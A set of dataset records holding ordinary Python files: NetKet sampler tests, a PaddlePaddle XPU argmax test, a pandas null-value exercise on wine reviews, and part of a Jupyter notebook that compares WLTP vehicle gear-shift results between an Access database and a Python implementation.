f_exp = n_s * ps\n        statistics, pvalues[jrep] = chisquare(hist_samp, f_exp=f_exp)\n\n    s, pval = combine_pvalues(pvalues, method=\"fisher\")\n    assert pval > 0.01 or np.max(pvalues) > 0.01\n\n\ndef test_throwing(model_and_weights):\n    with pytest.raises(TypeError):\n        nk.sampler.MetropolisHamiltonian(\n            hi,\n            hamiltonian=10,\n            reset_chains=True,\n        )\n\n    with pytest.raises(ValueError):\n        sampler = nk.sampler.MetropolisHamiltonian(\n            nk.hilbert.DoubledHilbert(hi),\n            hamiltonian=ha,\n            reset_chains=True,\n        )\n\n        ma, w = model_and_weights(hi)\n\n        # test raising of init state\n        sampler.init_state(ma, w, seed=SAMPLER_SEED)\n\n    with pytest.raises(ValueError):\n        sampler = nk.sampler.MetropolisHamiltonianNumpy(\n            nk.hilbert.Fock(3) ** hi.size,\n            hamiltonian=ha,\n            reset_chains=True,\n        )\n\n        ma, w = model_and_weights(hi)\n\n        # test raising of init state\n        sampler.init_state(ma, w, seed=SAMPLER_SEED)\n\n    with pytest.raises(flax.errors.ScopeParamShapeError):\n        sampler = nk.sampler.MetropolisHamiltonianNumpy(\n            nk.hilbert.DoubledHilbert(hi),\n            hamiltonian=ha,\n            reset_chains=True,\n        )\n\n        ma, w = model_and_weights(hi)\n\n        # test raising of init state\n        sampler.init_state(ma, w, seed=SAMPLER_SEED)\n\n\ndef test_exact_sampler(sampler):\n    known_exact_samplers = [nk.sampler.ExactSampler, nk.sampler.ARDirectSampler]\n    if any(isinstance(sampler, x) for x in known_exact_samplers):\n        assert sampler.is_exact is True\n    else:\n        assert sampler.is_exact is False\n", "meta": {"hexsha": "78fd014d0264358e574eb429f016a794e68474f7", "size": 10168, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/sampler/test_sampler.py", "max_stars_repo_name": "PhilipVinc/netket", "max_stars_repo_head_hexsha": "87f63afce0462c3ba80ba6679e8e3cc42393d272", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/sampler/test_sampler.py", "max_issues_repo_name": "PhilipVinc/netket", "max_issues_repo_head_hexsha": "87f63afce0462c3ba80ba6679e8e3cc42393d272", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 11, "max_issues_repo_issues_event_min_datetime": "2021-07-12T15:20:14.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-17T09:40:41.000Z", "max_forks_repo_path": "test/sampler/test_sampler.py", "max_forks_repo_name": "PhilipVinc/netket", "max_forks_repo_head_hexsha": "87f63afce0462c3ba80ba6679e8e3cc42393d272", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-04-25T15:47:32.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-25T15:47:32.000Z", "avg_line_length": 31.0, "max_line_length": 118, "alphanum_fraction": 0.6666011015, "include": true, "reason": "import numpy,from scipy,import jax,from jax", "num_tokens": 2663, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.1294027198405294, "lm_q1q2_score": 0.06318519940424935}}
{"text": "#  Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport unittest\nimport numpy as np\nimport sys\n\nsys.path.append(\"..\")\n\nimport paddle\nfrom op_test import OpTest\nfrom op_test_xpu import XPUOpTest\nfrom xpu.get_test_cover_info import create_test_class, get_xpu_op_support_types, XPUOpTestWrapper\n\npaddle.enable_static()\n\n\nclass XPUTestArgMax(XPUOpTestWrapper):\n\n    def __init__(self):\n        self.op_name = 'arg_max'\n\n    class XPUBaseTestCase(XPUOpTest):\n\n        def initTestCase(self):\n            self.dims = (3, 4)\n            self.axis = 1\n\n        def setUp(self):\n            self.op_type = 'arg_max'\n            self.dtype = self.in_type\n            self.initTestCase()\n\n            self.x = (np.random.random(self.dims)).astype(self.dtype)\n            self.inputs = {'X': self.x}\n            self.attrs = {'axis': self.axis, 'use_xpu': True}\n            self.outputs = {'Out': np.argmax(self.x, axis=self.axis)}\n\n        def test_check_output(self):\n            if paddle.is_compiled_with_xpu():\n                place = paddle.XPUPlace(0)\n                self.check_output_with_place(place)\n\n    class TestArgMaxCase1(XPUBaseTestCase):\n\n        def initTestCase(self):\n            self.dims = (3, 4, 5)\n            self.axis = -1\n\n    class TestArgMaxCase2(XPUBaseTestCase):\n\n        def initTestCase(self):\n            self.dims = (3, 4, 5)\n            self.axis = 0\n\n    class TestArgMaxCase3(XPUBaseTestCase):\n\n        def initTestCase(self):\n            self.dims = (3, 4, 5)\n            self.axis = 1\n\n    class TestArgMaxCase4(XPUBaseTestCase):\n\n        def initTestCase(self):\n            self.dims = (3, 4, 5)\n            self.axis = 2\n\n    class TestArgMaxCase5(XPUBaseTestCase):\n\n        def initTestCase(self):\n            self.dims = (3, 4)\n            self.axis = -1\n\n    class TestArgMaxCase6(XPUBaseTestCase):\n\n        def initTestCase(self):\n            self.dims = (3, 4)\n            self.axis = 0\n\n    class TestArgMaxCase7(XPUBaseTestCase):\n\n        def initTestCase(self):\n            self.dims = (3, 4)\n            self.axis = 1\n\n    class TestArgMaxCase8(XPUBaseTestCase):\n\n        def initTestCase(self):\n            self.dims = (1, )\n            self.axis = 0\n\n    class TestArgMaxCase9(XPUBaseTestCase):\n\n        def initTestCase(self):\n            self.dims = (2, )\n            self.axis = 0\n\n    class TestArgMaxCase10(XPUBaseTestCase):\n\n        def initTestCase(self):\n            self.dims = (3, )\n            self.axis = 0\n\n\nsupport_types = get_xpu_op_support_types('arg_max')\nfor stype in support_types:\n    create_test_class(globals(), XPUTestArgMax, stype)\n\n\nclass TestArgMaxAPI(unittest.TestCase):\n\n    def initTestCase(self):\n        self.dims = (3, 4, 5)\n        self.dtype = 'float32'\n        self.axis = 0\n\n    def setUp(self):\n        self.initTestCase()\n        self.__class__.use_Xpu = True\n        self.place = [paddle.XPUPlace(0)]\n\n    def test_dygraph_api(self):\n\n        def run(place):\n            paddle.disable_static(place)\n            np.random.seed(2021)\n            numpy_input = (np.random.random(self.dims)).astype(self.dtype)\n            tensor_input = paddle.to_tensor(numpy_input)\n            numpy_output = np.argmax(numpy_input, axis=self.axis)\n            paddle_output = paddle.argmax(tensor_input, axis=self.axis)\n            self.assertEqual(np.allclose(numpy_output, paddle_output.numpy()),\n                             True)\n            paddle.enable_static()\n\n        for place in self.place:\n            run(place)\n\n\nclass TestArgMaxAPI_2(unittest.TestCase):\n\n    def initTestCase(self):\n        self.dims = (3, 4, 5)\n        self.dtype = 'float32'\n        self.axis = 0\n        self.keep_dims = True\n\n    def setUp(self):\n        self.initTestCase()\n        self.__class__.use_xpu = True\n        self.place = [paddle.XPUPlace(0)]\n\n    def test_dygraph_api(self):\n\n        def run(place):\n            paddle.disable_static(place)\n            np.random.seed(2021)\n            numpy_input = (np.random.random(self.dims)).astype(self.dtype)\n            tensor_input = paddle.to_tensor(numpy_input)\n            numpy_output = np.argmax(numpy_input,\n                                     axis=self.axis).reshape(1, 4, 5)\n            paddle_output = paddle.argmax(tensor_input,\n                                          axis=self.axis,\n                                          keepdim=self.keep_dims)\n            self.assertEqual(np.allclose(numpy_output, paddle_output.numpy()),\n                             True)\n            self.assertEqual(numpy_output.shape, paddle_output.numpy().shape)\n            paddle.enable_static()\n\n        for place in self.place:\n            run(place)\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "792a729d1fadf8c9a0a448aa44f8de3458041921", "size": 5304, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_arg_max_op_xpu.py", "max_stars_repo_name": "L-Net-1992/Paddle", "max_stars_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 11, "max_stars_repo_stars_event_min_datetime": "2016-08-29T07:43:26.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-29T07:51:24.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_arg_max_op_xpu.py", "max_issues_repo_name": "L-Net-1992/Paddle", "max_issues_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_arg_max_op_xpu.py", "max_forks_repo_name": "L-Net-1992/Paddle", "max_forks_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-09-24T11:23:36.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-24T11:23:36.000Z", "avg_line_length": 28.2127659574, "max_line_length": 97, "alphanum_fraction": 0.5991704374, "include": true, "reason": "import numpy", "num_tokens": 1229, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.1347759174229568, "lm_q1q2_score": 0.06318168678283481}}
{"text": "\"\"\"\nCleaning Data VII - View Null Values\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nwine_reviews = pd.read_csv('../winemag-data-130k.csv')\nwine_reviews.rename(columns={'points': 'rating'}, inplace=True)\n\n# Use the below df for these problems:\n\nwine_ratings = wine_reviews[['title', 'country', 'rating', 'price']]\n\n\n\n# Return a dataframe of booleans that show True for null values.\n\n\n\n# Return a dataframe of booleans that show True for values that exist.\n", "meta": {"hexsha": "9f43e9d35a23949b2777a83ca2b955419cc5ecc8", "size": 456, "ext": "py", "lang": "Python", "max_stars_repo_path": "pset_pandas1_wine_reviews/data_cleaning/p7.py", "max_stars_repo_name": "mottaquikarim/pydev-psets", "max_stars_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2019-04-08T20:05:37.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-04T20:48:45.000Z", "max_issues_repo_path": "pset_pandas1_wine_reviews/data_cleaning/p7.py", "max_issues_repo_name": "mottaquikarim/pydev-psets", "max_issues_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-04-15T15:16:05.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-12T10:33:32.000Z", "max_forks_repo_path": "pset_pandas1_wine_reviews/data_cleaning/p7.py", "max_forks_repo_name": "mottaquikarim/pydev-psets", "max_forks_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-04-10T00:14:42.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-26T20:35:21.000Z", "avg_line_length": 21.7142857143, "max_line_length": 70, "alphanum_fraction": 0.725877193, "include": true, "reason": "import numpy", "num_tokens": 105, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4263215925474903, "lm_q2_score": 0.1480471923932738, "lm_q1q2_score": 0.06311571483328518}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:percent\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.4.1\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [markdown]\n# # Compare results in the DB\n\n# %%\n## To autoreload codein python files here.\n# %load_ext autoreload\n# %autoreload 2\n\n## Auto-format cells to ease diffs.\n# %load_ext lab_black\n\n# %%\n# %matplotlib ipympl\n\n# %%\nfrom typing import Union, List, Callable, Any, Sequence as Seq\nimport io, logging, re, sys\nfrom pathlib import Path, PurePosixPath as P\n\n\nfrom columnize import columnize\nimport numpy as np\nimport pandas as pd\nfrom pandas import HDFStore\nfrom pandas.core.generic import NDFrame\nfrom matplotlib import pyplot as plt\nimport qgrid\nimport wltp\nfrom wltp import io as wio, cycler\nfrom wltp.experiment import Experiment\n\n## Add tests/ into `sys.path` to import `vehdb` module.\n#\nproj_dir = str(Path(wltp.__file__).parents[1] / \"tests\")\nif proj_dir not in sys.path:\n    sys.path.insert(0, proj_dir)\n\nimport vehdb\n\nidx = pd.IndexSlice\nlog = logging.getLogger(\"CarsDB-compare.ipynb\")\nlogging.basicConfig(\n    level=logging.INFO,\n    format=\"%(asctime)s|%(levelname)4.4s|%(module)s:[%(funcName)s]:\\n  +--> %(message)s\",\n    datefmt=\"%Y-%m-%d,%H:%M:%S\",\n)\n\npd.set_option(\"display.max_columns\", 32)\n\n# %%\n## DEFINITIONS\n#\ninp_h5fname = \"VehData/WltpGS-msaccess.h5\"\nout_h5fname = \"VehData/WltpGS-pyalgo.h5\"\nc_n, c_p, c_n_norm, c_p_norm = \"n\", \"Pwot\", \"n_norm\", \"p_norm\"\n\n# %%\nvehdb.print_nodes(inp_h5fname)\nvehdb.print_nodes(out_h5fname)\n\n# %%\nfrom wltp.invariants import vround, nround1\n\n\ndef load_accdb_and_python_datasets(veh_nums=None):\n    p1, c1 = vehdb.merge_db_vehicle_subgroups(\n        inp_h5fname, \"prop\", \"cycle\", veh_nums=veh_nums\n    )\n    p2, c2 = vehdb.merge_db_vehicle_subgroups(\n        out_h5fname, \"oprop\", \"cycle\", veh_nums=veh_nums\n    )\n\n    ## Originally fetched as 2-levels (veh, item) MultiIndex Series.\n    p1 = p1.unstack()\n    p2 = p2.unstack()\n\n    ## By the spec, V rounded to 2-digits,\n    #  But exporting MSAccess --> Excel outputs garbage decimals!\n    #\n    v_cols = \"v v_orig v_cap v_downscale\".split()\n    c1[v_cols] = vround(c1[v_cols])\n\n    ## accdb does not offer `n_max`.(?)\n    p1[\"n_max\"] = nround1(p1[\"n_max1 n_max2 n_max3\".split()].max(axis=1))\n\n    return p1, c1, p2, c2\n\n\np1, c1, p2, c2 = load_accdb_and_python_datasets()\n\n# %%\n## EXPORT RESULTS to upload them for the GS-group when releasing.\n#\n# p2.drop('v116', axis=0).to_excel('pyalgo-props-124cases-1.0.0.dev12.xlsx')\n# c2.drop('v116', axis=0).to_excel('pyalgo-cycles-124cases-1.0.0.dev12.xlsx')\n\n# %%\n# Available PROPs\nprint(columnize(list(p1.columns), displaywidth=160))\nprint(columnize(list(p2.columns), displaywidth=160))\n\n# %%\ndisplay(\n    vehdb.grid(p1, fitcols=False),\n    vehdb.grid(p2, fitcols=False),\n    # vehdb.grid(c1, fitcols=0),\n)\n\n# %%\nsr_cmpr = vehdb.Comparator(lambda d, c: d[:, c], no_styling=True)\ndataset_names = \"accdb Python\".split()  # Must sort with \"diff\" column.\n\n# %%\n## Report PROP differences\n#\n#     ACCDB,  PYALGO\nequivalent_columns = [\n    (\"Description\", None),\n    (\"test_mass\", None),\n    (\"kerb_mass\", None),\n    (\"vehicle_class\", \"wltc_class\"),\n    # (\"pmr_km\", \"pmr\"),\n    (\"f_dsc_req\", \"f_dsc\"),\n    (\"v_max\", \"v_max\"),\n    (\"n_max1\", \"n95_high\"),\n    # (\"???\", \"is_n_lim_vmax\")\n]\n\ncdf = sr_cmpr.compare((p1.stack(), p2.stack()), equivalent_columns, dataset_names)\n## Workaround qgrid's hate for hierarchical-columns:\n#  https://github.com/quantopian/qgrid/issues/18#issuecomment-149321165\ncdf.columns = [\" \".join(col).strip() for col in cdf.columns.values]\n\ndisplay(vehdb.grid(cdf, fitcols=False, cwidth=100))\n# with pd.option_context('max_rows', 130):\n#     display(cdf)\n\n# %%\n# Available CYCLE columns\nprint(columnize(list(c1.columns), displaywidth=160))\nprint(columnize(list(c2.columns), displaywidth=160))\n\n# %%\ncmpr = vehdb.Comparator(lambda d, c: d.loc[idx[:, c]])\n\n# %%\n## Report CYCLE-MEAN differences\n#\n# # Vehicles with DOWNSCALE discrepancies\n# veh_nums = [7, 19, 20, 33, 35, 43, 44, 56, 59, 66]\n# veh_nums += [82, 88, 91, 99, 100, 101, 112, 113, 114]\n# # UNCOMMENT next line to FETCH new vehicles.\np1, c1, p2, c2 = load_accdb_and_python_datasets()\nequivalent_series = [\n    (\"v_orig\", \"V_cycle\"),\n    (\"v_downscale\", \"v_target\"),\n    # (\"a\", \"a_target\"),\n    (\"P_tot_set\", \"p_req\"),\n    # (\"P_max\", \"p_available\"),\n    (\"g_max\", \"g_max0\"),\n    (\"g_min\", \"g_min\"),\n    # (\"gear\", \"gears\"),\n    # (\"nc\", \"n\"),\n]\n\nc2.columns = wio.flatten_columns(c2.columns)\n\ncols1, cols2 = zip(*equivalent_series)\ncols1, cols2 = list(cols1), list(cols2)\n## Concat props to col-aggregates & convert prop-cols to numerics\ncc1 = pd.concat((p1.infer_objects(), c1[cols1].abs().mean(level=0)), axis=1)\ncc2 = pd.concat((p2.infer_objects(), c2[cols2].abs().mean(level=0)), axis=1)\n\nequivalent_props = [\n    (\"Description\", None),\n    (\"vehicle_class\", \"wltc_class\"),\n    (\"pmr_km\", None),\n    (\"no_of_gears\", None),\n    (\"f_dsc_req\", \"f_dsc\"),\n    (\"v_max\", \"v_max\"),\n    (\"n_vmax\", \"n_vmax\"),\n    (\"gear_v_max\", \"g_vmax\"),\n    (\"n_max1\", \"n_max1\"),\n    (\"n_max2\", \"n_max2\"),\n    (\"n_max3\", \"n_max3\"),\n    (\"n_max\", \"n_max\"),\n]\ndisplay(\n    cmpr.compare(\n        (cc1, cc2), equivalent_props + equivalent_series, dataset_names, describe=True\n    )\n)\n\n# %%\n## Repeat, to compare while coding.\n# display(cmpr.compare((cc1, cc2), equivalent_props + equivalent_series, dataset_names, describe=True))\n\n# %% [markdown]\n# AccDB vehicles: 42, 46, 52, 53 & 90 have broken `v_max`, 48 has broken `wot(ASM)`.\n\n# %%\nknown_bads = set(wio.veh_names([42, 46, 48, 52, 53, 90]))\ndisplay(\n    cmpr.compare(\n        (cc1, cc2), equivalent_props + equivalent_series, dataset_names\n    ).set_properties(subset=(known_bads, idx[:]), color=\"red\")\n)\n\n# %%\n## Repeat, to compare while coding.\n# display(cmpr.compare((cc1, cc2), equivalent_props + equivalent_series, dataset_names).set_properties(subset=(known_bads, idx[:]), color='red'))\n\n# %% [markdown]\n# ## Compare a vehicle from AccDB <-->PyAlgo *interactively*\n# **TODO:** collect and hide all this comparison GUI code below into a python module.\n\n# %%\ncase_loaded = [None, None]\n\n\ndef _load_interactive_case(\n    case_name,\n    # increase vertical seperation between flags (but do not exceed max(V))\n    flag_mul=2,\n):\n    accdb_cycle = c1.loc[case_name].copy()\n    accdb_gears = [c for c in accdb_cycle.columns if c.startswith(\"Ind_g\")]\n\n    cycle = c2.loc[case_name].dropna(how=\"all\", axis=1).copy()\n\n    ## Scale each flag into a different value, to plot separately, and\n    #  to plot in the same axis as V\n    #  (bc when plotting flags in `secondary_y`, grid is not working)\n    #\n\n    all_flags = [c for c in cycle.columns if c.startswith(\"ok_\")]\n    ok_flags = [c for c in all_flags if not c.startswith(\"ok_gear/\")]\n    flag_count = len(ok_flags)\n    ok_flags = cycle.loc[:, ok_flags].copy()\n\n    ok_gears = [c for c in all_flags if c.startswith(\"ok_gear/\")]\n    gear_count = len(ok_gears)\n    ok_gears = cycle.loc[:, ok_gears]\n\n    ok_flags[ok_flags < 0] = np.NAN  # Restore NANFLAG --> NAN\n    ok_flags = ok_flags * (np.arange(flag_count) + 1) * flag_mul\n    ok_gears = ok_gears * (np.arange(gear_count) + flag_count + 1) * flag_mul\n\n    cycle.columns = wio.inflate_columns(cycle.columns)\n    ok_flags.columns = wio.inflate_columns(ok_flags.columns)\n    ok_gears.columns = wio.inflate_columns(ok_gears.columns)\n\n    return cycle, ok_flags, ok_gears, accdb_cycle, accdb_gears, p1.loc[case_name]\n\n\ndef load_interactive_case(\n    case_name,\n    # increase vertical seperation between flags (but do not exceed max(V))\n    flag_mul=2,\n):\n    if case_loaded[0] == case_name:\n        cycle_data = case_loaded[1]\n    else:\n        cycle_data = _load_interactive_case(case_name)\n        case_loaded[0] = case_name\n        case_loaded[1] = cycle_data\n    return cycle_data\n\n\n# cycle, ok_flags, ok_gears, accdb_cycle, accdb_gears, accdb_props = load_interactive_case('v001')\n# ok_flags.columns, ok_gears.columns\n\n# %%\ndef decide_signal_axis(colnames):\n    def is_velocity(col):\n        return is_velocity(col[0]) if isinstance(col, tuple) else col.startswith(\"v_\")\n\n    l1 = [i for i in colnames if is_velocity(i)]\n    l2 = [i for i in colnames if not is_velocity(i)]\n    return l1, l2\n\n\ndef define_schemes():\n    \"\"\"Predfined case/pan/zooms of the compraison diagram below.\"\"\"\n    return [\n        ## (label, caseno, zoom, pan, *other-UNUSED)\n        (\"dive(t=764): 1->2 gear too early\", \"v001\", 45.0, 30.40),\n        (\"dive(t=903): 1st gear not reached\", \"v001\", 45.0, 36.4),\n        (\"lowPower(t=724)\", \"v001\", 43.0, 69.6),\n        (\"Py:LowP AccDB:DnShift(t=1571-8)\", \"v019\", 69, 63.4),\n        (\"p_max from lower g(t=1571-8)\", \"v020\", 69, 63.4),\n        (\"sameCar?\", \"v023\", 1, 0),\n        (\"noPowerDives(t=1540-80)\", \"v024\", 26, 63.60),\n        (\"noPowerDive(t=1574)\", \"v024\", 26, 66.4),\n        (\"noPowerDive(t=1574)\", \"v025\", 69, 63.4),\n        (\n            \"decelToStop(t=1591)\",\n            \"v025\",\n            69,\n            72.0,\n            \"AccDB not respecting n_min=0.9 x n_idle (Annex 2-3.k.3)\",\n        ),\n        (\"lowPowerDive\", \"v033\", 5, 72),\n        (\"low -1 gears?\", \"v035\", 65, 63, \"Diffs in gears above 2\"),\n        (\"noPowerDive(t=1574)\", \"v024\", 26, 66.4),\n        (\"g5Ok?(1542)\", \"v075\", 55, 62.4, \"Vehicle has too many insufficient powers\"),\n        (\"lowP, lowG betterPAvail(t=1574)\", \"v087\", 65, 63.40),\n        (\"lowPower(t=1574)\", \"v088\", 65, 63.40),\n        (\"lowPower\", \"v101\", 1, 0),\n        (\"lowPower\", \"v111\", 1, 0),\n        (\"extention\", \"v117\", 13, 72),\n        (\"extention\", \"v118\", 13, 72),\n        (\"extention\", \"v119\", 13, 72),\n        (\"extention\", \"v120\", 13, 72),\n        (\"extention\", \"v121\", 13, 72),\n        (\"lowPower\", \"v124\", 1, 0),\n        (\"lowPower\", \"v125\", 1, 0),\n    ]\n\n\ndef grid(df):\n    \"\"\"Display a dynamic grid if given `df` too long. \"\"\"\n    display(vehdb.grid(df, fitcols=len(df.shape) < 2 or df.shape[1] < 12))\n\n\ndef merge_pyalgo_accdb(pyalgo, accdb):\n    pyalgo = pyalgo.copy()\n    pyalgo.columns = wio.flatten_columns(pyalgo.columns)\n    merged = pd.concat((pyalgo, accdb), axis=1, keys=(\"pyalgo\", \"accdb\"))\n    merged.columns = wio.flatten_columns(merged.columns)\n\n    return merged\n\n\ndef display_diff_gears(pyalgo, accdb, props):\n    merged = merge_pyalgo_accdb(pyalgo, accdb)\n    diffgears_idx = merged[\"pyalgo/g_max0\"] != merged[\"accdb/g_max\"]\n    display(merged.loc[diffgears_idx, [\"pyalgo/g_max0\", \"accdb/g_max\"]])\n\n\ndef display_diff_cycle(pyalgo, accdb, props):\n    merged = merge_pyalgo_accdb(pyalgo, accdb)\n    diffgears_idx = merged[\"pyalgo/g_max0\"] != merged[\"accdb/g_max\"]\n    grid(merged[diffgears_idx])\n\n\ndef display_pyalgo(pyalgo, accdb, props):\n    pyalgo.columns = wio.flatten_columns(pyalgo.columns)\n    grid(pyalgo.drop(\"t\", axis=1))\n\n\ndef display_pyalgo_flags(pyalgo, accdb, props):\n    flags = pyalgo.select_dtypes(\"int8\").copy()\n    flags.columns = wio.flatten_columns(flags.columns)\n    pyalgo = pyalgo[[\"p_req\", \"p_avail\"]].copy()\n    pyalgo.columns = wio.flatten_columns(pyalgo.columns)\n    grid(pd.concat((pyalgo, flags), axis=1))\n\n\ndef display_accdb_cycle(pyalgo, accdb, props):\n    grid(accdb)\n\n\ndef display_accdb_props(pyalgo, accdb, props):\n    grid(props)\n\n\n## What to display in the Tabs beneath the plot\n#\nout_specs = [\n    (display_diff_gears, \"DiffGears\"),\n    (display_diff_cycle, \"DiffGear cycles\"),\n    (display_pyalgo_flags, \"PyAlgo flags\"),\n    (display_pyalgo, \"PyAlgo\"),\n    (display_accdb_cycle, \"AccDb cycle\"),\n    (display_accdb_props, \"AccDb props\"),\n]\n\n# %%\n## TODO: CLASSify code in these cells.\nfrom ipywidgets import (\n    interact,\n    interactive,\n    interactive_output,\n    fixed,\n    interact_manual,\n    widgets,\n)\nfrom IPython.display import clear_output\n\n\ninit_zoom = 55.0\ninit_pan = 30.40\nmax_zoom = 72.0\n\nCase = widgets.SelectionSlider(options=list(c2.index.levels[0]), description=\"Case\")\nGear = widgets.SelectionSlider(options=[\"g1\"], description=\"Gear\")\nZoom = widgets.FloatSlider(\n    init_zoom, min=1.0, max=max_zoom, step=4.0, description=\"Zoom\"\n)\nPan = widgets.FloatSlider(init_pan, min=0.0, max=max_zoom, step=0.4, description=\"Pan\")\nIsPyAlgoGears = widgets.Checkbox(False, description=\"Plot PyAlgo Gear flags?\")\nIsAccdbGears = widgets.Checkbox(False, description=\"Plot AccDB Gear flags?\")\nPyAlgoSignals = widgets.SelectMultiple(rows=7, description=\"Pyalgo signals\")\nAccDBSignals = widgets.SelectMultiple(rows=7, description=\"AccDB signals\")\nAxisScenes = widgets.Select(options=[], description=\"Scenes\")\nAxisScenes.layout.width = \"auto\"\nDesc = widgets.Textarea(disabled=True)  # DEFUNCT\nDesc.layout.width = \"24\"\nDesc.layout.height = \"7em\"\nSelections = widgets.HBox(\n    [\n        Case,\n        Zoom,\n        Pan,\n        AxisScenes,\n        IsPyAlgoGears,\n        PyAlgoSignals,\n        IsAccdbGears,\n        AccDBSignals,\n        Gear,\n    ]\n)\nSelections.layout.width = \"95%\"\nSelections.layout.flex_flow = \"row wrap\"\n# Selections.layout.justify_content = \"flex-start\"\n\n\n#: Updated by *interact* function, for display functions to read them\n#: pyalgo, accdb, accdb_props\nresults = [None, None, None]\n\nTab = widgets.Tab()\n\n\ndef refresh_tabs():\n    global out_specs\n\n    AxisScenes.options = [\n        (f\"{caseno}: {label}\", (caseno, zoom, pan, *other))\n        for label, caseno, zoom, pan, *other in define_schemes()\n    ]\n    needs_retabbing = False\n    if out_specs and len(out_specs[0]) < 3:\n        out_specs = [(widgets.Output(), *i) for i in out_specs]\n        needs_retabbing = True\n    if needs_retabbing or not Tab.children:\n        Tab.children = [out for out, _, _ in out_specs]\n        for i, (_, _, title) in enumerate(out_specs):\n            Tab.set_title(i, title)\n\n    return out_specs\n\n\nrefresh_tabs()\n\n\ndef update_tab_contents(change):\n    if change.new is None:\n        return\n    out, func, _ = out_specs[change.new]\n    has_content = bool(out.get_state()[\"outputs\"])\n    if not has_content:\n        with out:\n            func(*(i.copy() for i in results))\n\n\nTab.observe(update_tab_contents, names=\"selected_index\")\n\n\nGui = widgets.VBox([Selections, Tab])\n\n\ndef update_valid_signals(change):\n    case_name = Case.value\n    pyalgo, _, ok_gears, accdb, _, _ = load_interactive_case(case_name)\n\n    Gear.options = ok_gears.columns.levels[1]\n\n    pyalgo_columns = [\n        (\"/\".join(cc for cc in c if cc), c)\n        for c in pyalgo.select_dtypes(exclude=[np.object])\n        if not c[0].startswith(\"ok_gear\") and not c[0] == \"t\"\n    ]\n    PyAlgoSignals.options = pyalgo_columns\n\n    accdb_columns = [\n        c for c in accdb.select_dtypes(exclude=[np.object]) if not c.startswith(\"Ind_g\")\n    ]\n    AccDBSignals.options = accdb_columns\n\n\nCase.observe(update_valid_signals, names=\"value\")\nupdate_valid_signals(None)\n\n\ndef apply_axis_scene(change):\n    Case.value, Zoom.value, Pan.value, *other = AxisScenes.value\n    Desc.value = other[0] if other else \"\"\n\n\nAxisScenes.observe(apply_axis_scene, names=\"value\")\n\n\ndef _count_series_diffs(a, b):\n    na, nb = len(a), len(b)\n    if na != nb:\n        na = min(na, nb)\n        return (a.iloc[:na] != b.iloc[:na]).sum() + (nb - na)\n    return (a != b).sum()\n\n\ndef _distribute_signals_in_axes(columns, df):\n    cols1, cols2 = decide_signal_axis(columns)\n    df1 = df.loc[:, cols1]\n    df2 = df.loc[:, cols2]\n    return df1, df2\n\n\ndef recreate_fig():\n    \"\"\"\n     Recreate the same figure-number, or else they leak.\n\n    Hack, or else, shown double figure the 1st time this cell runs,\n    or figure hidden, or stability/performance problems.\n    \"\"\"\n    for i in range(3):\n        fig_nums = plt.get_fignums()\n        fig = plt.figure(\n            num='Compare AccDB <--> PyAlgo \"Initial Gear\"', figsize=(10, 8)\n        )\n        if fig.number in set(fig_nums):\n            fig.clear()\n            plt.close(fig)\n        else:\n            return fig\n    else:\n        raise Exception(f\"Exhausted new-fig tries({i}) with figs({plt.get_fignums()})\")\n\n\nfig = recreate_fig()\n\n\ndef plot_gear_flags(\n    case,\n    gear,\n    zoom,\n    